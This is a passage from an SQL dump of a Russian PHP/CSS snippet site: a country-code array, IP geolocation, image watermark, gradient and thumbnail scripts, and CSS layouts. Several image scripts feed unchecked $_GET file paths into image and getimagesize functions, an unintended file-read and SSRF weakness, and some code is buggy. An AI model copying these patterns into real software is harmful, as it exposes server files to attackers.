\'Madagascar (Мадагаскар)\', \'MH\' =&gt; \'Marshall Islands (Маршалловы острова)\', \'MK\' =&gt; \'Macedonia (Македония)\', \'ML\' =&gt; \'Mali (Мали)\', \'MM\' =&gt; \'Myanmar (Мьянма)\', \'MN\' =&gt; \'Mongolia (Монголия)\', \'MO\' =&gt; \'Macau (Макао)\', \'MP\' =&gt; \'Northern Mariana Islands (Северные Марианские острова)\', \'MQ\' =&gt; \'Martinique (Мартиника)\', \'MR\' =&gt; \'Mauritania (Мавритания)\', \'MS\' =&gt; \'Montserrat (Монтсеррат)\', \'MT\' =&gt; \'Malta (Мальта)\', \'MU\' =&gt; \'Mauritius (Маврикий)\', \'MV\' =&gt; \'Maldives (Мальдивы)\', \'MW\' =&gt; \'Malawi (Малави)\', \'MX\' =&gt; \'Mexico (Мексика)\', \'MY\' =&gt; \'Malaysia (Малайзия)\', \'MZ\' =&gt; \'Mozambique (Мозамбик)\', \'NA\' =&gt; \'Namibia (Намибия)\', \'NC\' =&gt; \'New Caledonia (Новая Каледония)\', \'NE\' =&gt; \'Niger (Нигер)\', \'NF\' =&gt; \'Norfolk Island (Норфолк)\', \'NG\' =&gt; \'Nigeria (Нигерия)\', \'NI\' =&gt; \'Nicaragua (Никарагуа)\', \'NL\' =&gt; \'Netherlands (Нидерланды)\', \'NO\' =&gt; \'Norway (Норвегия)\', \'NP\' =&gt; \'Nepal (Непал)\', \'NR\' =&gt; \'Nauru (Науру)\', \'NU\' =&gt; \'Niue\', \'NZ\' =&gt; \'New Zealand (Новая Зеландия)\', \'OM\' =&gt; \'Oman (Оман)\', \'PA\' =&gt; \'Panama (Панама)\', \'PE\' =&gt; \'Peru (Перу)\', \'PF\' =&gt; \'French Polynesia (Французская Полинезия)\', \'PG\' =&gt; \'Papua New Guinea (Папуа - Новая Гвинея)\', \'PH\' =&gt; \'Philippines (Филиппины)\', \'PK\' =&gt; \'Pakistan (Пакистан)\', \'PL\' =&gt; \'Poland (Польша)\', \'PM\' =&gt; \'Saint Pierre and Miquelon (Сен-Пьер и Микелон)\', \'PN\' =&gt; \'Pitcairn Island (остров Питкэрн)\', \'PR\' =&gt; \'Puerto Rico (Пуэрто-Рико)\', \'PS\' =&gt; \'Palestine (Палестина)\', \'PT\' =&gt; \'Portugal (Португалия)\', \'PW\' =&gt; \'Palau (Палау)\', \'PY\' =&gt; \'Paraguay (Парагвай)\', \'QA\' =&gt; \'Qatar (Катар)\', \'RE\' =&gt; \'Reunion Island (остров Реюньон)\', \'RO\' =&gt; \'Romania (Румыния)\', \'RU\' =&gt; \'Russian Federation (Россия)\', \'RW\' =&gt; \'Rwanda (Руанда)\', \'SA\' =&gt; \'Saudi Arabia (Саудовская Аравия)\', \'SB\' =&gt; \'Solomon Islands (Соломоновы Острова)\', \'SC\' =&gt; \'Seychelles (Сейшельские Острова)\', \'SD\' =&gt; \'Sudan (Судан)\', \'SE\' =&gt; \'Sweden (Швеция)\', \'SG\' =&gt; \'Singapore (Сингапур)\', \'SH\' =&gt; \'Saint Helena (остров Святой Елены)\', \'SI\' =&gt; \'Slovenia (Словения)\', \'SJ\' =&gt; \'Svalbard and Jan Mayen Islands\', \'SK\' =&gt; \'Slovakia (Словакия)\', \'SL\' =&gt; \'Sierra Leone (Сьерра-Леоне)\', \'SM\' =&gt; \'San Marino (Сан-Марино)\', \'SN\' =&gt; \'Senegal (Сенегал)\', \'SO\' =&gt; \'Somalia (Сомали)\', \'SR\' =&gt; \'Suriname (Суринам)\', \'ST\' =&gt; \'Sao Tome and Principe (Сан-Томе и Принсипи)\', \'SU\' =&gt; \'exUSSR (СССР)\', \'SV\' =&gt; \'El Salvador (Сальвадор)\', \'SY\' =&gt; \'Syria (Сирия)\', \'SZ\' =&gt; \'Swaziland (Свазиленд)\', \'TC\' =&gt; \'Turks and Caicos Islands\', \'TD\' =&gt; \'Chad (Чад)\', \'TF\' =&gt; \'French Southern Territories\', \'TG\' =&gt; \'Togo (Того)\', \'TH\' =&gt; \'Thailand (Таиланд)\', \'TJ\' =&gt; \'Tajikistan (Таджикистан)\', \'TK\' =&gt; \'Tokelau (Токелау)\', \'TL\' =&gt; \'Timor-Leste\', \'TM\' =&gt; \'Turkmenistan (Туркменистан)\', \'TN\' =&gt; \'Tunisia (Тунис)\', \'TO\' =&gt; \'Tonga (Тонга)\', \'TP\' =&gt; \'East Timor (Восточный Тимор)\', \'TR\' =&gt; \'Turkey (Турция)\', \'TT\' =&gt; \'Trinidad and Tobago (Тринидад и Тобаго)\', \'TV\' =&gt; \'Tuvalu (Тувалу)\', \'TW\' =&gt; \'Taiwan (Тайвань)\', \'TZ\' =&gt; \'Tanzania (Танзания)\', \'UA\' =&gt; \'Ukraine (Украина)\', \'UG\' =&gt; \'Uganda (Уганда)\', \'UK\' =&gt; \'United Kingdom (Соединенное Королевство Великобритании и Северной Ирландии)\', \'UM\' =&gt; \'United States Minor Outlying Islands\', \'US\' =&gt; \'United States (США)\', \'UY\' =&gt; \'Uruguay (Уругвай)\', \'UZ\' =&gt; \'Uzbekistan (Узбекистан)\', \'VA\' =&gt; \'Holy See, Vatican (Ватикан)\', \'VC\' =&gt; \'Saint Vincent and the Grenadines (Сент-Винсент и Гренадины)\', \'VE\' =&gt; \'Venezuela (Венесуэла)\', \'VG\' =&gt; \'Virgin Islands, British (Виргинские острова, Британские)\', \'VI\' =&gt; \'Virgin Islands, US (Виргинские острова, США)\', \'VN\' =&gt; \'Vietnam (Вьетнам)\', \'VU\' =&gt; \'Vanuatu (Вануату)\', \'WF\' =&gt; \'Wallis and Futuna Islands\', \'WS\' =&gt; \'Western Samoa (Западное Самоа)\', \'YE\' =&gt; \'Yemen (Йемен)\', \'YT\' =&gt; \'Mayotte\', \'YU\' =&gt; \'Yugoslavia (Югославия)\', \'ZA\' =&gt; \'South Africa (ЮАР)\', \'ZM\' =&gt; \'Zambia (Замбия)\', \'ZW\' =&gt; \'Zimbabwe (Зимбабве)\' );  /*Сам этот массив уже интересен и ценен, но в качестве примера выведем русское название для страны RU*/ $strana=$country[\'RU\']; echo substr( strtok($strana, \')\'), strpos($strana, \'(\') + 1);  ?&gt;','files_4490_1692_',151),(186,14,'Определение местоположения по IP','Определение местоположения по IP','function detect_city ( $ip ) { $default = \'UNKNOWN\' ; if ( !is_string ( $ip ) || strlen($ip ) &lt; 1 || $ip == \'127.0.0.1\' || $ip == \'localhost\' ) $ip = \'8.8.8.8\' ; $curlopt_useragent = \'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6 (.NET CLR 3.5.30729)\' ; $url = \'http://ipinfodb.com/ ip_locator.php?ip=\' . urlencode ( $ip) ; $ch = curl_init () ; $curl_opt = array ( CURLOPT_FOLLOWLOCATION =&gt; 1 , CURLOPT_HEADER =&gt; 0, CURLOPT_RETURNTRANSFER =&gt; 1 , CURLOPT_USERAGENT =&gt; $curlopt_useragent , CURLOPT_URL =&gt; $url , CURLOPT_TIMEOUT =&gt; 1 , CURLOPT_REFERER =&gt; \'&lt;a href=&quot;http://\' .&quot;&gt;http://\' .&lt;/a&gt; $_SERVER [\'HTTP_HOST\'], ); curl_setopt_array( $ch , $curl_opt ); $content = curl_exec( $ch); if (!is_null( $curl_info )) { $curl_info = curl_getinfo( $ch ); } curl_close( $ch ); if ( preg_match(\'{&lt;li&gt;City : ([^&lt;]*)&lt;/li&gt;}i\', $content , $regs ) ) { $city = $regs[1] ; } if ( preg_match(\'{&lt;li&gt;State/ Province : ([^&lt;]*)&lt;/li&gt;}i\', $content , $regs) ) { $state = $regs[1] ; } if( $city!=\'\' &amp;amp;&amp;amp; $state !=\'\' ){ $location = $city . \', \' . $state ; return $location ; }else{ return $default ; } }','files_3784_1857_',151),(187,20,'Свой шрифт)','Очеь простой код для того,что-бы придать\r\nстилю свой шрифт,даже если его нет в\r\nкомпьютере. Код актуален для\r\nкомпьютеров,насчет телефонов-не\r\nпроверялось. Смысл прост-css файл\r\nподгружает на страницу файл со\r\nшрифтом,который находится на сайте.\r\nВместо xxx пишем семейство шрифта(узнать\r\nможно его-открыв сам шрифт)\r\nВместо /1.ttf указываем путь до шрифта.','@font-face{ font-family: xxx; src: url(/1.ttf)} html{font-family: xxx, Arial, sans-serif;}','files_1552_3669_',151),(188,20,'Цифровые часы на чистом CSS иjQuery','Часы работают полностью на jQuery. Сами же цифры\r\nрисуются на чистом CSS (т.е. никаких картинок и\r\nникакого текста). Каждая цифра состоит из 25 блоков,\r\nкоторые с помощью CSS выстраиваются в квадрат 5?5','&lt;span&gt; &lt;b class= &quot;c11&quot; &gt;&lt;/b&gt;&lt;b class =&quot;c12&quot; &gt;&lt;/b&gt;&lt;b class= &quot;c13&quot; &gt;&lt;/b&gt;&lt;b class =&quot;c14&quot; &gt;&lt;/b&gt;&lt;b class= &quot;c15&quot; &gt;&lt;/b&gt; &lt;b class= &quot;c21&quot; &gt;&lt;/b&gt;&lt;b class =&quot;c22&quot; &gt;&lt;/b&gt;&lt;b class= &quot;c23&quot; &gt;&lt;/b&gt;&lt;b class =&quot;c24&quot; &gt;&lt;/b&gt;&lt;b class= &quot;c25&quot; &gt;&lt;/b&gt; &lt;b class= &quot;c31&quot; &gt;&lt;/b&gt;&lt;b class =&quot;c32&quot; &gt;&lt;/b&gt;&lt;b class= &quot;c33&quot; &gt;&lt;/b&gt;&lt;b class =&quot;c34&quot; &gt;&lt;/b&gt;&lt;b class= &quot;c35&quot; &gt;&lt;/b&gt; &lt;b class= &quot;c41&quot; &gt;&lt;/b&gt;&lt;b class =&quot;c42&quot; &gt;&lt;/b&gt;&lt;b class= &quot;c43&quot; &gt;&lt;/b&gt;&lt;b class =&quot;c44&quot; &gt;&lt;/b&gt;&lt;b class= &quot;c45&quot; &gt;&lt;/b&gt; &lt;b class= &quot;c51&quot; &gt;&lt;/b&gt;&lt;b class =&quot;c52&quot; &gt;&lt;/b&gt;&lt;b class= &quot;c53&quot; &gt;&lt;/b&gt;&lt;b class =&quot;c54&quot; &gt;&lt;/b&gt;&lt;b class= &quot;c55&quot; &gt;&lt;/b&gt; &lt;/span&gt;','files_5520_5520_',151),(189,20,'Генирация граддиентов','Создаём файл и туда лепим этот код. Для\r\nпримера файл называется gradient.php.\r\nПереходим по ссылке типа\r\ngradient.php?\r\ntype=g&amp;w=15&amp;h=80&amp;s=F01935&amp;e=08B864\r\nРазсмотрим что здесь что значит.\r\ntype - тип градиента','&lt;?php //определяем тип: вертикальный или горизонтальный $type = (isset($_GET[\'type\']) &amp;&amp; $_GET[\'type\'] == \'g\') ? \'g\' : \'v\'; //определяем высоту $height = (isset($_GET[\'h\'])) ? abs((int)$_GET [\'h\']) : 100; //определяем ширину $width = (isset($_GET[\'w\'])) ? abs((int)$_GET [\'w\']) : 60; //определяем цвета $start = (isset($_GET[\'s\']) &amp;&amp; preg_match(\'# [0-9A-F]{6}#\',$_GET[\'s\'])) ? $_GET[\'s\'] : \'000000\'; $end = (isset($_GET[\'e\']) &amp;&amp; preg_match(\'#[0-9A- F]{6}#\',$_GET[\'e\'])) ? $_GET[\'e\'] : \'FFFFFF\'; //определяем RGB этих цветов $start_r= hexdec(substr($start, 0, 2)); $start_g = hexdec(substr($start, 2, 2)); $start_b = hexdec(substr($start, 4, 2)); $end_r = hexdec(substr($end, 0, 2)); $end_g = hexdec(substr($end, 2, 2)); $end_b = hexdec(substr($end, 4, 2)); //создаём картинку $image = imagecreate($width, $height); //определяем тип и рисуем градиент if($type == \'g\'){ for($x=0; $x&lt;$width; $x++){ $new_r = $start_r - intval(($start_r - $end_r) / $width * $x); $new_g = $start_g - intval(($start_g - $end_g) / $width * $x); $new_b = $start_b - intval(($start_b - $end_b) / $width * $x); $row_color = imagecolorresolve($image, $new_r, $new_g, $new_b); imageline($image, $x, 0, $x, $height, $row_color); } }else{ for($y=0; $y&lt;$height; $y++){ $new_r = $start_r - intval(($start_r - $end_r) / $height * $y); $new_g = $start_g - intval(($start_g - $end_g) / $height * $y); $new_b = $start_b - intval(($start_b - $end_b) / $height * $y); $row_color = imagecolorresolve($image, $new_r, $new_g, $new_b); imageline($image, 0, $y, $width, $y, $row_color); } } header(\'Content-type: image/png\'); imagepng($image); imagedestroy($image); //вот и всё :) ?&gt;','files_3833_1522_',151),(190,20,'диаграмма','Маленькая диаграмма в виде полосски. Через\r\nGET запрос передаем количество процентов,\r\nкоторое надо зарисовать. Например rat.php?\r\np=42\r\nЗарисуется 42% полоски.','&lt;?php //Определяем сколько надо закрасить $p = (isset($_GET[\'p\']) &amp;&amp; $_GET[\'p\']&gt;=0 &amp;&amp; $_GET [\'p\']&lt;=100) ? (int)$_GET[\'p\'] : 50; //Создаем картинку $image = imagecreate(123, 8); //Цвет фона $bg = imagecolorallocate ($image, 0, 0, 0); //Цвет активной части и надписи к-ва % $act = imagecolorallocate($image, 210, 210, 210); //Цвет пассивной части $emp = imagecolorallocate($image, 250, 250, 250); imagefill($image, 0, 0, $bg); imagefilledrectangle($image, 1, 1, 100, 6, $emp); if($p &gt; 0) imagefilledrectangle($image, 1, 1, $p, 6, $act); //Пишем к-во % imagestring($image, 1, 102, 0, $p.\'%\', $act); header(\'Content-type: image/png\'); imagepng($image); imagedestroy($image); ?&gt;','files_2769_2579_',151),(191,20,'Полоска для всего!)','В пример взят рейтинг для соцки. Можно использовать в играх, соцках, да в чём хочешь (главное переменные свои поставить))).','$rating=50; //сколько рейта $ratingall=100; //сколько максимум $polosawidth=round(($rating/$ratingall)*100); //ширина полосы echo &quot;&lt;div style=\'background: yellow; height: 10; width: $polosawidth%;\'&gt;Рейтинг&lt;/div&gt;&quot;;','files_3590_4124_',151),(192,20,'Прикол с счетчикам =)','Вот пример: http://statok.net/m/allStats.php\r\nПередвинуты мишку счетчикам =) И видите прикола','Добавим это на css: [code] #king a:hover{background-color:transparent;opacity:0.9;} #king img{-moz-transition:all .8s ease-in-out;-webkit-transition:all .8s ease-in-out;-o-transition:all .8s ease-in-out;-ms-transition:all .8s ease-in-out;transition:all .8s ease-in-out;} #king img:hover{-moz-transform:rotate(360deg);-webkit-transform:rotate(360deg);-o-transform:rotate(360deg);-ms-transform:rotate(360deg);transform:rotate(360deg);} [/code] Вот код для вывода: [code]  &lt;span id=&quot;king&quot;&gt;&lt;center&gt; тут счетчика&lt;/span&gt; [/code]','files_5637_3961_',151),(193,20,'Функция для работы с изображениями BETA! (Imagick)','Это BETA версия моего кода.\r\nПо мере возможности, буду дорабатывать.\r\nИ помните, gd уже умер.','&lt;?php /* string $pic - исходный файл string $save_as - имя обработанного файла array $prop - Размер изображения boolean $save_animation - Сохранение анимации при работе с .gif boolean $save_prop - Сохранение пропорций изображения array $corners - Скругление углов */  /*Примеры использования:  # Получим file.png размером не превышающий 100x100 resize(\'file.jpeg\', \'file.png\', array(100, 100));  # Получим file.png с размером 100x100, даже если исходный был 16x16 resize(\'file.jpeg\', \'file.png\', array(100, 100), 0, 0);  # Получим file.png с размером не превышающий 100x100 и закругленными углами на 100 градусов resize(\'file.jpeg\', \'file.png\', array(100, 100), 0, 1, array(100, 100)); */  function resize ($pic, $save_as, $prop, $save_animation = false, $save_prop = true, $corners = array ()) {  $format = functions::format($pic);  $thumb = new Imagick();  $source = new Imagick($pic);  foreach ($source as $thumb) {  if ($save_prop) {   if ($thumb-&gt;getImageHeight() &gt; $prop[0]) $thumb-&gt;thumbnailImage(0, $prop[0]);  if ($thumb-&gt;getImageWidth() &gt; $prop[1]) $thumb-&gt;thumbnailImage($prop[1], 0);  } else  $thumb-&gt;thumbnailImage($prop[0], $prop[1]);  if (isset($corners[0]) || isset($corners[1]))  $thumb-&gt;roundCorners($corners[0], $corners[1]);  $thumb-&gt;setImagePage($thumb-&gt;getImageWidth(), $thumb-&gt;getImageHeight(), 0, 0);  if ($save_animation == false) break;  }  $thumb-&gt;setFirstIterator();  if ($save_animation &amp;&amp; $format == \'gif\') $save = $thumb-&gt;writeImages($save_as, true);  else $save = $thumb-&gt;writeImage($save_as);  $thumb-&gt;destroy(); $source-&gt;destroy();  return $save; } ?&gt;','files_2070_2057_',151),(194,20,'создание 3д блоков','И так, наша задача сделать\r\nблок, который бы выглядел как 3д-\r\nобъект.\r\nРазберем код: background: linear-gradient (-225deg, #d2c1af, #b3a79a); - это создание градиента на фон, при\r\nэтом ось градиента находится под\r\nуглом, в данном случае значение\r\n-225deg отвечает за начало\r\nградиента в верхнем лвеом углу.\r\nВторой параметр - это начальный цвет, третий - конечный. border:3px solid #a09488; - рамка для всех сторон. Ну тут все ясно, но\r\nглавное чтобы цвет был немного\r\nсветлее чем конечный цвет\r\nградиента. По сути это будет цвет\r\nдля нижней и правой границ рамки. border-top-color:#d2c1af; border- left-color:#d2c1af; -меняем цвета верхней и левой границ на\r\nначальный цвет градиента. box-shadow: 5px 5px 7px #474441; - тень. Отступаем на пять пикселей от начальной позиции по\r\nх и у, 7рх - увеличение ширины\r\nтени(начальная ширина равна\r\nразмерам объекта). Третий - цвет\r\nтени','.block { background: linear-gradient (-225deg, #d2c1af, #b3a79a); border:3px solid #a09488; border-top-color:#d2c1af; border-left-color:#d2c1af; border-radius:3px; box-shadow: 5px 5px 7px #474441; }','files_3352_4243_',151),(195,20,'Тексt на картинку.','Текст,картинка,цвет\r\nа выводы делайте Сами','&lt;?php $img=$_GET [\'img\']; $copy= strtoupper ($_SERVER [\'HTTP_HOST\']); if($img==&quot;&quot;) exit(); writeTextOnImage ($img, &quot;Www.MySuperSite.Com&quot;); function writeTextOnImage ($filename, $text) { if($filename== &quot;&quot;)exit(); $size_img= getimagesize ($filename); if($size_img [2]==2)$src_img = imagecreatefromjpeg ($filename); elseif ($size_img[2]==1) $src_img= imagecreatefromgif ($filename); elseif ($size_img[2]==3) $src_img= imagecreatefrompng ($filename); if(!$src_img) exit(); //Назначаемцвет $color= imagecolorallocatealpha ($src_img,255, 255,0,10); $font_file= &quot;impact.ttf&quot;; $img_x=imagesx ($src_img); $img_y=imagesy ($src_img); $height_font= 13; $angle=0; //Записьтекста поверх изображения $xminus=$img_x -130; $box= imagettftext ($src_img, $height_font, $angle,$xminus, $img_y-8, $color, $font_file, $text); //Вывод изображенияв браузер if($size_img [2]==2) { header(&quot;Content- type:image/ jpeg&quot;); imagejpeg ($src_img); } elseif ($size_img[2]==1) { header(&quot;Content- type:image/ gif&quot;); imagegif ($src_img); } elseif ($size_img[2]==3) { header(&quot;Content- type:image/ png&quot;); imagepng ($src_img); } returntrue; } ?&gt;','files_1584_5337_',151),(196,20,'Увеличение картинки с сглаживанием','Увеличение картинки с сглаживанием','&lt;?php $from = imageCreateFromJpeg(&quot;sample2.jpg&quot;); $to = imageCreateTrueColor(2000, 2000); imageCopyResampled( $to, $from, 0, 0, 0, 0, imageSX($to), imageSY($to), imageSX($from), imageSY($from) ); header(&quot;Content-type: image/jpeg&quot;); imageJpeg($to); ?&gt;','files_3701_3617_',151),(197,20,'Функция определения окончания к минутам','Возвращает &quot;правильное&quot; слово &quot;минут&quot; в соответствии с их колличеством.\r\nНапример, 5 минут назад, 2 минуты назад.','&lt;?php  function wordMinutes($min) { $n = substr($min, -2); if($n &gt; 10 &amp;&amp; $n &lt; 15){$t = \'\';}else{  $n = substr($min, -1); if($n == 1 ){$t = \'у\';} if($n &gt; 1 &amp;&amp; $n &lt; 5){$t = \'ы\';} if($n &gt; 4 &amp;&amp; $n &lt;= 9){$t = \'\';} if($n == 0){$t = \'\';} }  $word = \'минут\'.$t.\'\'; return $word; } ?&gt;','files_4077_4655_',151),(198,20,'получение координат по адресу для яндекс карт','ключ получать здесь http://api.yandex.ru/maps/form.xml','function yandex_get_coordinate($addr) { $key = \'blabla==\'; //API ключ для работы с Яндекс картами $content = file_get_contents(\'http://geocode-maps.yandex.ru/1.x/?geocode=\' . urlencode($addr) . \'&amp;key=\' . $key); preg_match(\'/&lt;pos&gt;(.*?)&lt;\\/pos&gt;/\', $content, $point); // вырезаем нужные нам координаты $coordinate = explode(\' \', trim(strip_tags($point[1]))); list($x, $y) = $coordinate; return array($x, $y); }','files_3321_5595_',151),(199,20,'Динамический логотип','В моем коде переменная текст принимает значение из файла с настройками.\r\nтакже и размер шрифта и цвет фона. Думаю сложности не возникнут . Для вставки лого на страницу пишите нечто вроде &lt;img class=&quot;logo&quot; src=&quot;images/logo.php&quot;&gt;','$size=45; $font=\'../images/ttf/Coffee.ttf\'; $text=$_SERVER[\'HTTP_HOST\']; $box=imagettfbbox ($size,0, $font, $text); $ri=$box[\'2\']; $le=$box[\'0\']; $size_w=$ri-$le+10; $image=imageCreate($size_w,$size); $colour=imageColorAllocate($image,0,150,0); $col_text=imageColorAllocate($image,0,0,0); imageTTFText($image,$size,0,5,$size,$col_text,$font,$text); header(&quot;Content-type: image/png&quot;); imagepng($image);','files_2574_4611_',151),(200,20,'Добавление водяных знаков на изображения','Для защиты своих изображений от копирования рекомендуется использовать водяные знаки (ватермарки). Но наносить их вручную на каждое изображение не совсем правильно и быстро. Поэтому рекомендуем Вам воспользоваться PHP кодом, позволяющим добавлять указанный водяной знак на изображение при его выводе на экран.\r\n\r\nДля добавления водяных знаков на изображениях Вашего сайта Вам необходимо создать два файла: watermark.png - изображение ватермарка и watermark_to_image.php - скрипт добавления ватермарка на указанное изображение.','В файл watermark_to_image.php поместите следующий PHP код добавления ватермарка:  [code]&lt;?php $img = $_GET[\'src\']; $watermark = imagecreatefrompng(\'image/watermark.png\'); $watermark_width = imagesx($watermark); $watermark_height = imagesy($watermark); $img_path = $img; if (strstr($img_path, \'.jpg\')) $img = imagecreatefromjpeg($img_path); elseif (strstr($img_path, \'.png\')) $img = imagecreatefrompng($img_path); if ($img === false) { return false; }  $size = getimagesize($img_path); $dest_x = $size[0] - $watermark_width - 5; $dest_y = $size[1] - $watermark_height - 5;  imagealphablending($img, true); imagealphablending($watermark, true); imagecopy($img,$watermark,$dest_x,$dest_y,0,0,$watermark_width,$watermark_height);  if (strstr($img_path, \'.jpg\')) imagejpeg($img); elseif (strstr($img_path, \'.png\')) imagepng($img);  imagedestroy($img); imagedestroy($watermark); ?&gt;[/code]  Обратите внимание, что данный код позволяет добавлять ватермарки только на изображения с расширениями jpg или png!!! Теперь для того, чтобы наложить водяной знак на необходимое изображение, при выводе изображения на сайте используйте следующий код:  [code]&lt;img src=&quot;watermark_to_image.php?src=image.png&quot; alt=&quot;&quot;&gt;[/code]  Большим плюсом данного способа нанесения водяных знаков на изображение является возможность менять водяной знак сколько угодно раз без изменения исходных изображений. Обращаем Ваше внимание на то, что водяные знаки к изображениям добавляются динамически (при каждом обращении к изображению) и, следовательно, нагрузка на сервер возрастает. При очень большом количестве изображений на сайте (галереи изображений и т.д.) использование данного способа не рекомендуется.','files_2734_2324_',151),(201,20,'Наложение картинки на картинку','Наложение картинки на картинку','&lt;?php $img = $_GET[\'img\']; /// путь к картинке которую копирайтим $im = imagecreatefromjpeg($img); $lg = imagecreatefrompng(\'copyrite.png\'); /// наша картинка копирайта $img_x = imagesx($im); $img_y = imagesy($im); $img_x_copy = imagesx($lg); $img_y_copy = imagesy($lg); imagecopy($im, $lg, $img_x-$img_x_copy, $img_y-$img_y_copy, 0, 0, $img_x_copy, $img_y_copy); header(\'Content-Type: image/jpeg\'); imagejpeg($im); imagedestroy($im); /// чистим мусор imagedestroy($lg); /// чистим мусор ?&gt;','files_3115_1339_',151),(202,20,'Универсальная сетка','Универсая резиновая\r\nсетка.\r\nописание элементов:\r\not - 1/3 ширины родителя\r\ntt - 2/3 ширины родителя\r\noh - 1/2 ширины родителя\r\nВ использовании очень проста,\r\nкомбинируя элементы можно\r\nпостроить практически любую\r\nсетку.\r\nПримеры:\r\nдва блока в ряд\r\n&lt;div class=&quot;oh&quot;&gt;первый&lt;/div&gt;\r\n&lt;div class=&quot;oh&quot;&gt;второй&lt;/div&gt;\r\nдва блока в ряд(первый\r\nбольше второго\r\n&lt;div class=&quot;tt&quot;&gt;первый&lt;/div&gt;\r\n&lt;div class=&quot;ot&quot;&gt;второй&lt;/div&gt;\r\nтри блока в ряд\r\n&lt;div class=&quot;ot&quot;&gt;первый&lt;/div&gt;\r\n&lt;div class=&quot;ot&quot;&gt;второй&lt;/div&gt;\r\n&lt;div class=&quot;ot&quot;&gt;третий&lt;/div&gt;\r\nчетыри в ряд\r\n&lt;div class=&quot;oh&quot;&gt;\r\n&lt;div class=&quot;oh&gt;первый&lt;/div&gt;\r\n&lt;div class=&quot;oh&gt;второй&lt;/div&gt;\r\n&lt;/div&gt;\r\n&lt;div class=&quot;oh&quot;&gt;\r\n&lt;div class=&quot;oh&quot;&gt;третий&lt;/div&gt;\r\n&lt;div class=&quot;oh&quot;&gt;четвертый&lt;/\r\ndiv&gt;\r\n&lt;/div&gt;\r\nпять в ряд\r\n&lt;div class=&quot;tt&quot;&gt;\r\n&lt;div class=&quot;ot&quot;&gt;первый&lt;/div&gt;\r\n&lt;div class=&quot;ot&quot;&gt;второй&lt;/div&gt;\r\n&lt;div class=&quot;ot&quot;&gt;третий&lt;/div&gt;\r\n&lt;/div&gt;\r\n&lt;div class=&quot;ot&quot;&gt;\r\n&lt;div class=&quot;oh&quot;&gt;четвертый&lt;/\r\ndiv&gt;\r\n&lt;div class=&quot;oh&quot;&gt;пятый&lt;/div&gt;\r\n&lt;/div&gt;\r\nДальше писать не буду и так\r\nдумаю ясно стало','.oh,.ot,.tt{ float: left; padding:0 1%; margin: 0; } .ot{width:31%;} .oh{width:48%;} .tt{width:65%;}','files_1992_1519_',151),(203,20,'Превьюшка (gif)','Создание превьюшек. И gif формата.\r\n\r\nТребуется imagick.\r\n$image[\'md5\'] - название файла\r\n200 - ширина получившейся картинки','function parse_make_thumb($image) {  // создаем превью if ($image[\'width\'] &lt;= 200) {  file_put_contents(&quot;thumbs/&quot;.$image[\'md5\'].&quot;.&quot;.$image[\'type\'], file_get_contents(&quot;images/&quot;.$image[\'md5\'].&quot;.&quot;.$image[\'type\'])); return;  } else {  $xscale = $image[\'width\'] / 200; $new_width = round($image[\'width\'] * (1 / $xscale)); $new_height = round($image[\'height\'] * (1 / $xscale));  }  $thumb = new Imagick();  try {  $thumb-&gt;readImage(&quot;images/&quot;.$image[\'md5\'].&quot;.&quot;.$image[\'type\']);  }  catch (ImagickException $e) {  echo &quot;&lt;center&gt;&lt;h3&gt;Непотянуло файл: &quot;.$image[\'md5\'].&quot;.&quot;.$image[\'type\'].&quot;&lt;/h3&gt;&lt;/center&gt;&quot;; return 0;  } //делаем превью, размер меньше, чем у фона, чтобы было куда впихнуть тень // $thumb-&gt;thumbnailImage($new_width, $new_height); if ($thumb-&gt;getNumberImages() &gt; 1) {  foreach ($thumb as $frame) {  $frame-&gt;resizeImage($new_width, $new_height, Imagick::FILTER_TRIANGLE, 1);  } //записываем картинку $thumb-&gt;writeImages(&quot;thumbs/&quot;.$image[\'md5\'].&quot;.&quot;.$image[\'type\'], 1);  } else {  // $thumb-&gt;resizeImage($new_width, $new_height, Imagick::FILTER_TRIANGLE, 1);  try {  $thumb-&gt;thumbnailImage(200, null);  }  catch (ImagickException $e) {  echo &quot;&lt;center&gt;&lt;h3&gt;Непотянуло файл: &quot;.$image[\'md5\'].&quot;.&quot;.$image[\'type\'].&quot;&lt;/h3&gt;&lt;/center&gt;&quot;; return 0;  }  $thumb-&gt;writeImage(&quot;thumbs/&quot;.$image[\'md5\'].&quot;.&quot;.$image[\'type\']);  } //подчищаем за собой $thumb-&gt;destroy();  return;  }','files_4253_4609_',151),(204,20,'Создание превьюшек','Использование:\r\n$thumbnail = new thumbnail;\r\n$thumbnail-&gt;open_save(\'1.jpg\', \'copy.jpgf\', $size, 2);\r\n$size = размер полученной картинки.','class thumbnail { var $imgfile;  function thumb($imgfile) { if (!file_exists($imgfile)) die (&quot;Cannot read the file!&quot;); //detect image format //$this-&gt;img[&quot;format&quot;] = ereg_replace(&quot;.*\\.(.*)$&quot;,&quot;\\\\1&quot;,$imgfile); $hz = explode(&quot;.&quot;, $name); $this-&gt;img[&quot;format&quot;] = $hz[sizeof($hz-1)]; $this-&gt;img[&quot;format&quot;] = strtoupper($this-&gt;img[&quot;format&quot;]); if ($this-&gt;img[&quot;format&quot;]==&quot;JPG&quot; || $this-&gt;img[&quot;format&quot;]==&quot;JPEG&quot;) { //JPEG $this-&gt;img[&quot;format&quot;]=&quot;JPG&quot;; $this-&gt;img[&quot;src&quot;] = ImageCreateFromJPEG($imgfile); } elseif ($this-&gt;img[&quot;format&quot;]==&quot;PNG&quot;) { //PNG $this-&gt;img[&quot;format&quot;]=&quot;PNG&quot;; $this-&gt;img[&quot;src&quot;] = ImageCreateFromPNG($imgfile); } elseif ($this-&gt;img[&quot;format&quot;]==&quot;GIF&quot;) { //GIF $this-&gt;img[&quot;format&quot;]=&quot;GIF&quot;; $this-&gt;img[&quot;src&quot;] = ImageCreateFromGIF($imgfile);  } else { //DEFAULT echo &quot;Not Supported File! Thumbnails can only be made from .gif, .jpg and .png images!&quot;; exit(); } $this-&gt;img[&quot;lebar&quot;] = imagesx($this-&gt;img[&quot;src&quot;]); $this-&gt;img[&quot;tinggi&quot;] = imagesy($this-&gt;img[&quot;src&quot;]); //default quality jpeg $this-&gt;img[&quot;quality&quot;]=100; }  function size_auto($size=100) { //size if ($this-&gt;img[&quot;lebar&quot;]&gt;=$this-&gt;img[&quot;tinggi&quot;]) { $this-&gt;img[&quot;lebar_thumb&quot;]=$size; $this-&gt;img[&quot;tinggi_thumb&quot;] = ($this-&gt;img[&quot;lebar_thumb&quot;]/$this-&gt;img[&quot;lebar&quot;])*$this-&gt;img[&quot;tinggi&quot;]; } else { $this-&gt;img[&quot;tinggi_thumb&quot;]=$size; 